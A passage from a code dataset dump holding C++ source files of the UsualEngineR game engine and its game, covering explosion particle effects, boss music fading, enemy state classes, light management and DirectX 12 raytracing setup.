(1.f - powf(1.f - (1.f - t), 10.f)));\n\n\t\t\tdata.particleData.mulColor.Lerp(t, colE, col);\n\t\t}\n\t\t\tbreak;\n\t\tcase ParticleKind::Gass:\n\t\t{\n\t\t\tdata.particleData.pos.y += 50.f * deltaTime;\n\n\t\t\tt = 1.f - (powf(1.f - t * 2.f, 4.f));\n\t\t\t\n\t\t\tdata.particleData.mulColor.Lerp(t, { 0.04, 0.04 ,0.04 ,0. }, { 0.04, 0.04 ,0.04 ,0.8 });\n\t\t}\n\t\t\tbreak;\n\t\t}\n\t});\n\tpid.m_updater = &m_effctUpdater;\n\tm_effect = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect->Init(pid);\n\n\tm_effect->SetGenerateFlag(false);\n\n\t//m_volumeEffect = NewGO<VolumetricEffectRender>(0);\n\t////volEff->Init(\"Assets/modelData/test/sphere.tkm\");\n\t//m_volumeEffect->Init(\"Assets/modelData/test/block.tkm\");\n\t//m_volumeEffect->SetPos({ 0,70,0 });\n\t//m_volumeEffect->SetSca({ 50,90,50 });\n\t//auto& fd = m_volumeEffect->GetFogData();\n\t//fd.concentration = 0.;\n\t//fd.decayCenterToXZ = 0.02f;\n\t//fd.decayCenterToY = 1.f;\n\t//fd.ratioParlinWorley = 0.6f;\n\t//fd.ratioParlin = 0.2f;\n\t//fd.color = m_volumeColor;\n\t//fd.centerOffsetY = -40;\n}\n\n\nvoid ExplosionEffect::Awake()\n{\n\n}\n\nbool ExplosionEffect::Start()\n{\n\treturn true;\n}\n\n\nvoid ExplosionEffect::PreUpdate()\n{\n\n}\n\nvoid ExplosionEffect::Update()\n{\n\t/*auto& fogData = m_volumeEffect->GetFogData();\n\tfogData.offset.y -= 5.f * gameTime()->GetDeltaTime();\n\tif (!m_isTimeStop)\n\t{\n\t\tif (m_isPlay)\n\t\t{\n\t\t\tauto& fd = m_volumeEffect->GetFogData();\n\t\t\tfd.concentration = Math::Lerp(m_timer / m_timeLimit, 0.f, m_volumeConcentration);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tauto& fd = m_volumeEffect->GetFogData();\n\t\t\tfd.concentration = Math::Lerp(m_timer / m_timeLimit, m_volumeConcentration, 0.f);\n\t\t}\n\t\tif (m_timeLimit <= m_timer)\n\t\t{\n\t\t\tm_isTimeStop = true;\n\t\t\tm_timer = 0.f;\n\t\t}\n\t\telse\n\t\t\tm_timer += gameTime()->GetDeltaTime();\n\t}*/\n}\n\nvoid ExplosionEffect::PostUpdate()\n{\n\n}\n\n\n\n"
},
{
"alpha_fraction": 0.6081404685974121,
"alphanum_fraction": 0.624900221824646,
"avg_line_length": 16.164382934570312,
"blob_id": "ccc8ffc6924f499a8fb57fed8ab99fd9004c6b94",
"content_id": "209d6563b6931d2d561364122aae12399e4bdd70",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1587,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 73,
"path": "/Game/PowaPowa.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass PowaPowa :public GameObject\n{\npublic:\n\tPowaPowa();\n\tvirtual ~PowaPowa();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tconst Vector3& GetPosition() {\n\t\treturn m_pos;\n\t}\n\n\tconst float GetRange() {\n\t\treturn m_range;\n\t}\n\nprivate:\n\n\tModelRender* m_model = nullptr;\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 10.5f,10.5f,10.5f };\n\tVector3 m_pos = { 750, 0.f,-680 };\n\tconst float m_range = 10.f;\n};\n"
},
{
"alpha_fraction": 0.6416988372802734,
"alphanum_fraction": 0.6501930356025696,
"avg_line_length": 16.93055534362793,
"blob_id": "6f041819cbfd6082ff7d211bc12e44389857c42e",
"content_id": "21a9f6064dfe453e9ff08fcde79a119a13485e00",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1295,
"license_type": "no_license",
"max_line_length": 145,
"num_lines": 72,
"path": "/Game/Enemy/BossBGM.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBGM.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n\nBossBGM::BossBGM()\n{\n}\n\nBossBGM::~BossBGM()\n{\n\n}\n\n\n\nvoid BossBGM::Release()\n{\n\tDeleteGO(m_bgm);\n}\n\nvoid BossBGM::OnDestroy()\n{\n\tRelease();\n}\n\n\nbool BossBGM::Start()\n{\n\tm_bgm = NewGO<CSoundSource>(0);\n\tm_bgm->Init(L\"Assets/sound/Encounter.wav\");\n\tm_bgm->SetVolume(0.0f);\n\n\tm_inBattleFlagMap.insert(std::make_pair(IEnemy::EnBossType::Melee, false));\n\tm_inBattleFlagMap.insert(std::make_pair(IEnemy::EnBossType::Fat, false));\n\tm_inBattleFlagMap.insert(std::make_pair(IEnemy::EnBossType::Bomb, false));\n\n\treturn true;\n}\n\n\nvoid BossBGM::PreUpdate()\n{\n\n}\n\nvoid BossBGM::Update()\n{\n\t\n\t//if (enemy->GetCurrentState() == enemy->GetState(m_state)) {}\n\tif (m_inBattleFlagMap[IEnemy::EnBossType::Melee] or m_inBattleFlagMap[IEnemy::EnBossType::Fat] or m_inBattleFlagMap[IEnemy::EnBossType::Bomb]) {\n\t\tif (!m_bgm->IsPlaying()) {\n\t\t\tm_bgm->Play(true);\n\t\t}\n\t\tif (m_bgm->GetVolume() < 1.0f) {\n\t\t\tconst float addVolume = 0.1f;\n\t\t\tm_volume += addVolume * gameTime()->GetDeltaTime();\n\t\t\tm_bgm->SetVolume(m_volume);\n\t\t}\n\n\t}\n\telse {\n\t\tif (m_bgm->GetVolume() <= 0.0f) {\n\t\t\tm_bgm->Stop();\n\t\t}\n\t\telse{\n\t\t\tconst float addVolume = 0.1f;\n\t\t\tm_volume -= addVolume * gameTime()->GetDeltaTime();\n\t\t\tm_bgm->SetVolume(m_volume);\n\t\t}\n\t}\n}\n\n\n\n\n"
},
{
"alpha_fraction": 0.7396449446678162,
"alphanum_fraction": 0.7455621361732483,
"avg_line_length": 21.53333282470703,
"blob_id": "9b613d66900b28b1b62e56652cf2ac076894e544",
"content_id": "4faac143d01f1e26669b83e670edbd4d82c562e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 338,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 15,
"path": "/Game/Enemy/State/MiddleBombState/BossBombDeadState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombDeadState final : public IEnemyState\n{\npublic:\n\tBossBombDeadState();\n\t~BossBombDeadState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tVector3 m_pos = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.6745283007621765,
"alphanum_fraction": 0.6891080737113953,
"avg_line_length": 29.554584503173828,
"blob_id": "2759a0815c4548ecc0e52199c974b512622526e7",
"content_id": "9e774e072d0478b817c4d36f2d04b0c0c1259c22",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7238,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 229,
"path": "/UsualEngineR/Graphics/Light/LightManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"LightManager.h\"\n#include \"LightBase.h\"\n#include \"LightDirection.h\"\n#include \"LightPoint.h\"\n\n\n//#include \"RenderState.h\"\n//#include \"ShaderSample.h\"\n\nnamespace UER\n{\n\tLightManager::LightManager()\n\t{\n\t}\n\tLightManager::~LightManager()\n\t{\n\t}\n\tvoid LightManager::Init()\n\t{\n\t\tInitDirectionStructuredBuffer();\n\t\tInitPointStructuredBuffer();\n\n\n\t\tm_lightParamCB.Init(sizeof(SLightCB));\n\t\t//m_lightParamCB.Create(&m_lightParam, sizeof(m_lightParam));\n\n\t\t//m_cameraParamCB.Create(nullptr, sizeof(CameraParam));\n\t\t//m_csPointLightCulling.Load(\"Assets/shader/PointLightCulling.fx\", \"CSMain_PointLightCulling\", Shader::EnType::CS);\n\t}\n\n\tvoid LightManager::InitDirectionStructuredBuffer()\n\t{\n\t\tint stride = sizeof(SDirectionLight);\n\t\t//D3D11_BUFFER_DESC desc;\n\t\t//ZeroMemory(&desc, sizeof(desc));\n\t\t\n\n\t\t//desc.BindFlags = D3D11_BIND_SHADER_RESOURCE;\t//SRVとしてバインド可能。\n\t\t//desc.ByteWidth = stride * MAX_DIRLIGHT;\n\t\t//desc.MiscFlags = D3D11_RESOURCE_MISC_BUFFER_STRUCTURED;\n\t\t//desc.StructureByteStride = stride;\n\n\t\t//m_dirLightSB.Create(NULL, desc);\n\n\t\tm_dirLightSB.Init(stride, MAX_DIRLIGHT, nullptr);\n\t}\n\n\tvoid LightManager::InitPointStructuredBuffer()\n\t{\n\t\tint stride = sizeof(SPointLight);\n\t\t//D3D11_BUFFER_DESC desc;\n\t\t//ZeroMemory(&desc, sizeof(desc));\n\t\t//\n\n\t\t//desc.BindFlags = D3D11_BIND_SHADER_RESOURCE;\t//SRVとしてバインド可能。\n\t\t//desc.ByteWidth = stride * MAX_PNTLIGHT;\n\t\t//desc.MiscFlags = D3D11_RESOURCE_MISC_BUFFER_STRUCTURED;\n\t\t//desc.StructureByteStride = stride;\n\n\t\t//m_pntLightSB.Create(NULL, desc);\n\n\t\tm_dirLightSB.Init(stride, MAX_PNTLIGHT, nullptr);\n\t}\n\n\tvoid LightManager::AddLight(LightBase* light)\n\t{\n\t\tconst std::type_info& type = typeid(*light);\n\t\tif (type == typeid(LightDirection))\n\t\t{\n\t\t\tif (MAX_DIRLIGHT <= m_cDirLight.size())\n\t\t\t\treturn;\n\t\t\tauto it = std::find(m_cDirLight.begin(), m_cDirLight.end(), light);\n\t\t\tif (it == m_cDirLight.end())\n\t\t\t{\n\t\t\t\tm_cDirLight.push_back(dynamic_cast<LightDirection*>(light));\n\t\t\t}\n\t\t}\n\t\telse if (type == typeid(LightPoint))\n\t\t{\n\t\t\tif (MAX_PNTLIGHT <= m_cPointLight.size())\n\t\t\t\treturn;\n\t\t\tauto it = std::find(m_cPointLight.begin(), m_cPointLight.end(), light);\n\t\t\tif (it == m_cPointLight.end())\n\t\t\t{\n\t\t\t\tm_cPointLight.push_back(dynamic_cast<LightPoint*>(light));\n\t\t\t}\n\t\t}\n\t}\n\tvoid LightManager::RmvLight(LightBase* light)\n\t{\n\t\tconst std::type_info& type = typeid(*light);\n\t\tif (type == typeid(LightDirection))\n\t\t{\n\t\t\tm_cDirLight.erase(std::remove(m_cDirLight.begin(), m_cDirLight.end(), light), m_cDirLight.end());\n\t\t}\n\t\telse if (type == typeid(LightPoint))\n\t\t{\n\t\t\tm_cPointLight.erase(std::remove(m_cPointLight.begin(), m_cPointLight.end(), light), m_cPointLight.end());\n\t\t}\n\t}\n\tvoid LightManager::Update()\n\t{\n\t\tint cunt = 0;\n\t\tfor (auto L : m_cDirLight)\n\t\t{\n\t\t\tif (!L->IsActive())\n\t\t\t\tcontinue;\n\t\t\tm_sDirLights[cunt] = L->GetBody();\n\t\t\tcunt++;\n\t\t}\n\t\tm_lightParam.DLCount = cunt;\n\t\tcunt = 0;\n\t\tfor (auto L : m_cPointLight)\n\t\t{\n\t\t\tif (!L->IsActive())\n\t\t\t\tcontinue;\n\t\t\tm_sPntLights[cunt] = L->GetBody();\n\t\t\tcunt++;\n\t\t}\n\t\tm_lightParam.PLCount = cunt;\n\t\t//m_lightParam.eyePos = g_lockCamera3D.Get_ReadOnly().GetPosition();\n\t\tm_lightParam.screen.x = 0;\n\t\tm_lightParam.screen.y = 0;\n\t\tm_lightParam.screen.z = FRAME_BUFFER_W;\n\t\tm_lightParam.screen.w = FRAME_BUFFER_H;\n\n\t\t//TBDR用にビュー変換。\n\t\t/*const auto& viewMat = g_lockCamera3D.Get()->GetViewMatrix();\n\t\tfor (auto& light : m_sPntLights)\n\t\t{\n\t\t\tlight.posInView = light.pos;\n\t\t\tviewMat.Apply(light.posInView);\n\t\t}*/\n\n\t\tm_dirLightSB.Update(m_sDirLights);\n\t\tm_pntLightSB.Update(m_sPntLights);\n\t\tm_lightParamCB.CopyToVRAM(m_lightParam);\n\t}\n\n\tvoid LightManager::Render()\n\t{\n\t\tconst auto& viewMat = g_lockCamera3D.Get()->GetViewMatrix();\n\t\tfor (auto& light : m_sPntLights)\n\t\t{\n\t\t\tlight.posInView = light.pos;\n\t\t\tviewMat.Apply(light.posInView);\n\t\t}\n\n\t\tm_dirLightSB.Update(m_sDirLights);\n\t\tm_pntLightSB.Update(m_sPntLights);\n\t\tm_lightParamCB.CopyToVRAM(m_lightParam);\n\n\t\t//ID3D11DeviceContext* dc = usualEngine()->GetGraphicsEngine()->GetD3DDeviceContext();\n\n\t\t//dc->UpdateSubresource(m_dirLightSB.GetBody(), 0, NULL, m_sDirLights, 0, 0);\t\t//ディレクションライトの更新。\n\n\t\t//dc->UpdateSubresource(m_pntLightSB.GetBody(), 0, NULL, m_sPntLights, 0, 0);\t\t//ポイントライトの更新。\n\n\t\t//dc->UpdateSubresource(m_lightParamCB.GetBody(), 0, NULL, &m_lightParam, 0, 0);\t//ライトの情報の更新。\n\n\t\t//dc->PSSetShaderResources(enSkinModelSRVReg_DirectionLight, 1,&m_dirLightSB.GetSRV());\t//ディレクションライトをセット\n\t\t//dc->PSSetShaderResources(enSkinModelSRVReg_PointLight, 1,&m_pntLightSB.GetSRV());\t//ポイントライトをセット\n\t\t//dc->PSSetConstantBuffers(enSkinModelCBReg_Light, 1, &m_lightParamCB.GetBody());\t\t//ライトの情報を送る\n\t}\n\tvoid LightManager::RenderPointLight()\n\t{\n\t\t//auto ge = usualEngine()->GetGraphicsEngine();\n\n\t\t//RenderTarget* rt[8];\n\t\t//int rtnum;\n\t\t//ge->OMGetRenderTargets(rtnum, rt);\n\t\t//ge->OMSetRenderTarget(RTV_MAX, NULL);\n\n\t\t//const Camera& cam = usualEngine()->GetMainCamera();\n\t\t//CameraParam camParam;\n\t\t//camParam.projMat = cam.GetProjectionMatrix();\n\t\t//camParam.projInvMat.Inverse(camParam.projMat);\n\t\t//camParam.viewRotMat.Inverse(cam.GetViewMatrix());\n\t\t//camParam.viewRotMat.m[3][0] = 0.f;\n\t\t//camParam.viewRotMat.m[3][1] = 0.f;\n\t\t//camParam.viewRotMat.m[3][2] = 0.f;\n\t\t//camParam.viewRotMat.Transpose();\n\t\t//camParam.camFar = cam.GetFar();\n\t\t//camParam.camNear = cam.GetNear();\n\t\t//camParam.screenHeight = FRAME_BUFFER_H;\n\t\t//camParam.screenWidth = FRAME_BUFFER_W;\n\n\t\t//\n\t\t//auto& gb = ge->GetPreRender().GetGBuffer();\n\t\t//ID3D11DeviceContext* dc = ge->GetD3DDeviceContext();\n\n\t\t//dc->CSSetShader((ID3D11ComputeShader*)m_csPointLightCulling.GetBody(), nullptr, 0);\n\n\t\t//dc->UpdateSubresource(m_cameraParamCB.GetBody(), 0, NULL, &camParam, 0, 0);\n\t\t//dc->CSSetConstantBuffers(0, 1, &m_cameraParamCB.GetBody());\n\n\t\t//ID3D11ShaderResourceView* gbuf[4];\n\t\t//gbuf[0] = gb.GetGBuffer(GBuffer::GB_Diffuse)->GetSRV();\n\t\t//gbuf[1] = gb.GetGBuffer(GBuffer::GB_Normal)->GetSRV();\n\t\t//gbuf[2] = gb.GetGBuffer(GBuffer::GB_Depth)->GetSRV();\n\t\t//gbuf[3] = gb.GetGBuffer(GBuffer::GB_Specular)->GetSRV();\n\n\t\t//dc->CSSetShaderResources(0, 4, gbuf);\n\t\t//dc->CSSetShaderResources(enSkinModelSRVReg_PointLight, 1, &m_pntLightSB.GetSRV());\t//ポイントライトをセット\n\t\t//ID3D11ShaderResourceView* srv[] = { ge->GetGradation() };\n\t\t//dc->CSSetShaderResources(enSkinModelSRVReg_Textur_1, 1, srv);\n\t\t//dc->CSSetConstantBuffers(enSkinModelCBReg_Light, 1, &m_lightParamCB.GetBody());\t\t//ライトの情報を送る\n\n\t\t//auto& pe = ge->GetPostEffect();\n\t\t//ID3D11UnorderedAccessView* uav[] = { pe.GetCurrentRenderTarget().GetUAV() };\n\t\t//dc->CSSetUnorderedAccessViews(0, 1, uav,NULL);\n\n\t\t//dc->CSSetSamplers(0, 1, &SamplerState::pointSampling);\n\t\t//\n\t\t//dc->Dispatch(FRAME_BUFFER_W / 16, FRAME_BUFFER_H / 16, 1);\n\n\t\t//ge->OMSetRenderTarget(rtnum, rt);\n\n\t\t\n\t}\n\tvoid LightManager::EndRender()\n\t{\n\t\t//ID3D11DeviceContext* dc = usualEngine()->GetGraphicsEngine()->GetD3DDeviceContext();\n\t\t//ID3D11ShaderResourceView* view[] = { NULL };\n\t\t//dc->PSSetShaderResources(enSkinModelSRVReg_DirectionLight, 1, view);//NULLで上書き\n\t\t//dc->PSSetShaderResources(enSkinModelSRVReg_PointLight, 1, view);\n\t}\n}"
},
{
"alpha_fraction": 0.7122060656547546,
"alphanum_fraction": 0.7155655026435852,
"avg_line_length": 19.295454025268555,
"blob_id": "be5c02cefa71032edc98aa29a8041cc4941edde4",
"content_id": "e5463a9281e3751f93b9d4ee4614c23b55fed07a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 893,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 44,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanDeadState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanDeadState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/BossBGM.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"../../Drop/DropItemFat.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n\nBoss_FatmanDeadState::Boss_FatmanDeadState()\n{\n}\n\nBoss_FatmanDeadState::~Boss_FatmanDeadState()\n{\n}\n\nvoid Boss_FatmanDeadState::Enter(IEnemy* e)\n{\n\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Fat, false);\n\n\tm_pos = e->GetPosition();\n\tif (!m_isPerformed) {\n\t\tGameManager::GetInstance().m_gameScene->OnEnemyDied(e);\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Boss_Shout.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.0f);\n\t\tm_isPerformed = true;\n\t}\n}\n\nIEnemyState* Boss_FatmanDeadState::Update(IEnemy* e)\n{\n\treturn this;\n}\n\nvoid Boss_FatmanDeadState::Exit(IEnemy* e)\n{\n}\n\nvoid Boss_FatmanDeadState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7335187792778015,
"alphanum_fraction": 0.7507649660110474,
"avg_line_length": 32.924530029296875,
"blob_id": "994175db79e05078a6f132f4ab1e1bd69f05a614",
"content_id": "ebde45926b1e0ad95cf02ae258d738a1f68f8471",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3667,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 106,
"path": "/UsualEngineR/Graphics/RaytracingInstance.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"RaytracingInstance.h\"\n\n#include \"RaytracingHelper.h\"\n#include \"Material.h\"\n\nnamespace UER\n{\n\tRaytracingInstance::~RaytracingInstance()\n\t{\n\t\tRelease();\n\t}\n\tvoid RaytracingInstance::Release()\n\t{\n\t}\n\tvoid RaytracingInstance::Build(Model& model)\n\t{\n\t\tmodel.QueryMeshs([&](const SMesh& mesh) {\n\n\t\t\tfor (int i = 0; i < mesh.m_materials.size(); i++) {\n\t\t\t\t\n\t\t\t\tRE::RaytracingInstance instance;\n\t\t\t\tconst auto& vertexBufferView = mesh.m_vertexBuffer.GetView();\n\t\t\t\tconst auto& indexBufferView = mesh.m_indexBufferArray[i]->GetView();\n\t\t\t\tD3D12_RAYTRACING_GEOMETRY_DESC desc;\n\t\t\t\tmemset(&desc, 0, sizeof(desc));\n\t\t\t\tdesc.Type = D3D12_RAYTRACING_GEOMETRY_TYPE_TRIANGLES;\n\t\t\t\tdesc.Triangles.Transform3x4 = 0;\n\t\t\t\tdesc.Triangles.VertexBuffer.StartAddress = vertexBufferView.BufferLocation;\n\t\t\t\tdesc.Triangles.VertexBuffer.StrideInBytes = vertexBufferView.StrideInBytes;\n\t\t\t\tdesc.Triangles.VertexCount = vertexBufferView.SizeInBytes / vertexBufferView.StrideInBytes;\n\t\t\t\tdesc.Triangles.VertexFormat = DXGI_FORMAT_R32G32B32_FLOAT;\n\t\t\t\tdesc.Flags = D3D12_RAYTRACING_GEOMETRY_FLAG_OPAQUE;\n\t\t\t\tdesc.Triangles.IndexBuffer = indexBufferView.BufferLocation;\n\t\t\t\tdesc.Triangles.IndexCount = mesh.m_indexBufferArray[i]->GetCount();\n\t\t\t\tdesc.Triangles.IndexFormat = indexBufferView.Format;\n\t\t\t\tinstance.geometoryDesc = desc;\n\t\t\t\tinstance.m_albedoTexture = &mesh.m_materials[i]->GetAlbedoMap();\n\t\t\t\tm_instances.push_back(std::move(instance));\n\n\n\t\t\t\tRWStructuredBuffer vertBuff;\n\t\t\t\tvertBuff.Init(desc.Triangles.VertexBuffer.StrideInBytes, desc.Triangles.VertexCount, nullptr);\n\t\t\t\tm_vertexBufferList.push_back(std::move(vertBuff));\n\t\t\t}\n\t\t\t});\n\t}\n\tvoid RaytracingInstance::Build_BLAS()\n\t{\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tfor (const auto& instance : m_instances)\n\t\t{\n\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_INPUTS inputs = {};\n\t\t\tinputs.DescsLayout = D3D12_ELEMENTS_LAYOUT_ARRAY;\n\t\t\tinputs.Flags = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_BUILD_FLAG_NONE;\n\t\t\tinputs.NumDescs = 1;\n\t\t\tinputs.pGeometryDescs = &instance.geometoryDesc;\n\t\t\tinputs.Type = D3D12_RAYTRACING_ACCELERATION_STRUCTURE_TYPE_BOTTOM_LEVEL;\n\n\t\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\t\tD3D12_RAYTRACING_ACCELERATION_STRUCTURE_PREBUILD_INFO info;\n\t\t\td3dDevice->GetRaytracingAccelerationStructurePrebuildInfo(&inputs, &info);\n\n\t\t\tRE::AccelerationStructureBuffers asbuffer;\n\t\t\tasbuffer.pScratch = CreateBuffer(\n\t\t\t\td3dDevice,\n\t\t\t\tinfo.ScratchDataSizeInBytes,\n\t\t\t\tD3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS,\n\t\t\t\tD3D12_RESOURCE_STATE_COMMON,\n\t\t\t\tkDefaultHeapProps);\n\n\t\t\tasbuffer.pResult = CreateBuffer(\n\t\t\t\td3dDevice,\n\t\t\t\tinfo.ResultDataMaxSizeInBytes,\n\t\t\t\tD3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS,\n\t\t\t\tD3D12_RESOURCE_STATE_RAYTRACING_ACCELERATION_STRUCTURE,\n\t\t\t\tkDefaultHeapProps);\n\n\t\t\t// Create the bottom-level AS\n\t\t\tD3D12_BUILD_RAYTRACING_ACCELERATION_STRUCTURE_DESC asDesc = {};\n\t\t\tasDesc.Inputs = inputs;\n\t\t\tasDesc.DestAccelerationStructureData = asbuffer.pResult->GetGPUVirtualAddress();\n\t\t\tasDesc.ScratchAccelerationStructureData = asbuffer.pScratch->GetGPUVirtualAddress();\n\n\t\t\trc.BuildRaytracingAccelerationStructure(asDesc);\n\n\t\t\t//レイトレーシングアクセラレーション構造のビルド完了待ちのバリアを入れる。\n\t\t\tD3D12_RESOURCE_BARRIER uavBarrier = {};\n\t\t\tuavBarrier.Type = D3D12_RESOURCE_BARRIER_TYPE_UAV;\n\t\t\tuavBarrier.UAV.pResource = asbuffer.pResult;\n\t\t\trc.ResourceBarrier(uavBarrier);\n\t\t}\n\t}\n\tvoid RaytracingInstance::Remove()\n\t{\n\t}\n\tvoid RaytracingInstance::Register()\n\t{\n\t}\n\tvoid RaytracingInstance::Update(const Matrix& mat, float deltaTime)\n\t{\n\t}\n\tvoid RaytracingInstance::Update_RaytraceData()\n\t{\n\t}\n}"
},
{
"alpha_fraction": 0.7422037124633789,
"alphanum_fraction": 0.7422037124633789,
"avg_line_length": 15.586206436157227,
"blob_id": "1acc959159b3dad3f821969e4bc66ec5361c18a8",
"content_id": "6030ddcbf3ebd52599e643d5f818690347f483dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 481,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 29,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanStunState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanStunState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nBoss_FatmanStunState::Boss_FatmanStunState()\n{\n}\n\nBoss_FatmanStunState::~Boss_FatmanStunState()\n{\n}\n\nvoid Boss_FatmanStunState::Enter(IEnemy* e)\n{\n}\n\nIEnemyState* Boss_FatmanStunState::Update(IEnemy* e)\n{\n\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n}\n\nvoid Boss_FatmanStunState::Exit(IEnemy* e)\n{\n}\n\nvoid Boss_FatmanStunState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7154605388641357,
"alphanum_fraction": 0.7195723652839661,
"avg_line_length": 24.33333396911621,
"blob_id": "4c9d462600ed532cc8e3933644829435e9b1ecbf",
"content_id": "737ea6eb62b1342be02d5a416edb58d447a96a17",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1216,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 48,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanIdleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanIdleState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Enemy/BossBGM.h\"\nBoss_FatmanIdleState::Boss_FatmanIdleState()\n{\n}\n\nBoss_FatmanIdleState::~Boss_FatmanIdleState()\n{\n}\n\nvoid Boss_FatmanIdleState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(-1);\n\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Fat, false);\n\t}\n}\n\nIEnemyState* Boss_FatmanIdleState::Update(IEnemy* e)\n{\n\tauto player = GameManager::GetInstance().m_player;\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float chaseRange = 100.f;\n\n\tif (vecToPlayer.Length() < chaseRange and player->GetCurrentHP() > 0.f) {\n\t\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\t\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Fat, true);\n\t\t}\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\treturn this;\n}\n\nvoid Boss_FatmanIdleState::Exit(IEnemy* e)\n{\n}\n\nvoid Boss_FatmanIdleState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7417218685150146,
"alphanum_fraction": 0.751655638217926,
"avg_line_length": 22.230770111083984,
"blob_id": "4977a8b32218756fcc6f89d617bd6acde3dded6e",
"content_id": "447a1b9ab4e886d9bb965e337d6e5ace78f687ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 604,
